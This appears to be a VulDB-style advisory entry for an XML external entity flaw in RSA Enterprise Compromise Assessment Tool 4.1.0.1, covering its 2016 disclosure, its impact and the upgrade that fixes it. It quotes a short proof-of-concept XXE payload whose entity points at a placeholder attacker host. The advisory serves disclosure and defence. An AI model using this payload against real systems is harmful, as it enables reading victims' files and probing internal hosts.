RSA Enterprise Compromise Assessment Tool 4.1.0.1 xml external entity reference

Summaryinfo

A vulnerability marked as problematic has been reported in RSA Enterprise Compromise Assessment Tool 4.1.0.1. This affects an unknown part. Performing a manipulation results in xml external entity reference. In addition, an exploit is available. It is suggested to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as problematic, was found in RSA Enterprise Compromise Assessment Tool 4.1.0.1. This affects an unknown code. The manipulation with an unknown input leads to a xml external entity reference vulnerability. CWE is classifying the issue as CWE-611. The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. This is going to have an impact on confidentiality, integrity, and availability.

The bug was discovered 04/27/2016. The weakness was presented 10/11/2016 by Samandeep Singh as SA-20161011-0 as not defined mailinglist post (Full-Disclosure). It is possible to read the advisory at seclists.org. The public release was coordinated in cooperation with RSA. Technical details are unknown but a public exploit is available. The advisory points out:

By exploiting the XXE vulnerability, an attacker can get read access to the filesystem of the user's system using RSA ECAT client and thus obtain sensitive information from the system. It is also possible to scan ports of the internal hosts and cause DoS on the affected host.

A public exploit has been developed by Samandeep Singh in XML and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 167 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://[IP:port]/"; >]><foo>&xxe;</foo>

Upgrading to version 4.1.2.0 eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Vendor

• RSA

Name

• Enterprise Compromise Assessment Tool

Version

• 4.1.0.1

License

• commercial

Website

• Vendor: https://www.rsa.com/

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion